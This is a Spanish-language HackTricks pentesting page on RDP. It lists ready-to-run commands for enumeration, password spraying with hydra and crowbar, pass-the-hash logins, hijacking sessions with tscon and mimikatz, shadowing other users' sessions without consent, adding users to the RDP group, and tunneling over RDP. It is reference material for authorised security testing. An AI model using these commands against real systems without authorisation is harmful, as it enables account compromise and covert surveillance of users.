3389 - Pentesting RDP

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

Información básica

Desarrollado por Microsoft, el Protocolo de Escritorio Remoto (RDP) está diseñado para permitir una conexión con interfaz gráfica entre equipos a través de una red. Para establecer dicha conexión, el usuario utiliza software cliente RDP, y simultáneamente el equipo remoto debe ejecutar el software servidor RDP. Esta configuración permite el control y acceso sin interrupciones al entorno de escritorio de un equipo remoto, esencialmente trayendo su interfaz al dispositivo local del usuario.

Puerto predeterminado: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeración

Automático

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Verifica el cifrado disponible y la vulnerabilidad a DoS (sin provocar DoS en el servicio) y obtiene información NTLM de Windows (versiones).

Capa de seguridad / comprobaciones NLA

RDP puede negociar diferentes capas de seguridad (native RDP, TLS, o CredSSP/NLA). Puedes identificar rápidamente la configuración del servidor y si NLA es obligatorio:

# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>

# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot

Brute force

Ten cuidado, podrías bloquear cuentas

Password Spraying

Ten cuidado, podrías bloquear cuentas

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Conectar con credentials/hash conocidos

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Verificar credenciales conocidas contra servicios RDP

rdp_check.py de impacket te permite comprobar si algunas credenciales son válidas para un servicio RDP:

rdp_check <domain>/<name>:<password>@<IP>

Ataques

Robo de sesiones

Con permisos SYSTEM puedes acceder a cualquier sesión RDP abierta por cualquier usuario sin necesidad de conocer la contraseña del propietario.

Obtener sesiones abiertas:

query user

Acceso a la sesión seleccionada

tscon <ID> /dest:<SESSIONNAME>

Ahora estarás dentro de la sesión RDP seleccionada y deberás suplantar a un usuario usando únicamente herramientas y funcionalidades de Windows.

Important: Cuando accedes a una sesión RDP activa expulsarás al usuario que la estaba usando.

Podrías obtener contraseñas volcando procesos, pero este método es mucho más rápido y te permite interactuar con los escritorios virtuales del usuario (contraseñas en notepad sin haberse guardado en disco, otras sesiones RDP abiertas en otras máquinas…)

Mimikatz

También podrías usar mimikatz para hacer esto:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

RDP Shadowing (Remote Control)

Si Remote Desktop Services shadowing está habilitado, puedes ver o controlar la sesión activa de otro usuario (a veces sin consentimiento) usando los switches incorporados de mstsc.

# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

RDP Virtual Channel Tunneling

RDP admite virtual channels que pueden ser abusados para pivoting/tunneling sobre una sesión RDP establecida. Una opción es rdp2tcp (client/server) que puede multiplexar reenvíos TCP sobre RDP (funciona con FreeRDP).

# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

Tunneling and Port Forwarding

Sticky-keys & Utilman

Combinando esta técnica con stickykeys o utilman podrás acceder a un CMD administrativo y a cualquier sesión RDP en cualquier momento

Puedes buscar RDPs que ya han sido backdoored con una de estas técnicas en: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Si alguien de un dominio diferente o con better privileges login via RDP accede al PC donde you are an Admin, puedes inject tu beacon en su RDP session process y actuar como él:

RDP Sessions Abuse

Agregar usuario al grupo RDP

net localgroup "Remote Desktop Users" UserLoginName /add

Herramientas automáticas

AutoRDPwn es un framework de post-explotación creado en Powershell, diseñado principalmente para automatizar el ataque Shadow en equipos Microsoft Windows. Esta vulnerabilidad (listada como una característica por Microsoft) permite a un atacante remoto ver el escritorio de su víctima sin su consentimiento, e incluso controlarlo bajo demanda, usando herramientas nativas del propio sistema operativo.

  • EvilRDP

  • Controlar el ratón y el teclado de forma automatizada desde la línea de comandos

  • Controlar el portapapeles de forma automatizada desde la línea de comandos

  • Levantar un proxy SOCKS desde el cliente que canaliza la comunicación de red al objetivo vía RDP

  • Ejecutar comandos arbitrarios de SHELL y PowerShell en el objetivo sin subir archivos

  • Subir y descargar archivos hacia/desde el objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo

  • SharpRDP

Esta herramienta permite ejecutar comandos en el RDP de la víctima sin necesitar una interfaz gráfica.

Comandos automáticos de HackTricks

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks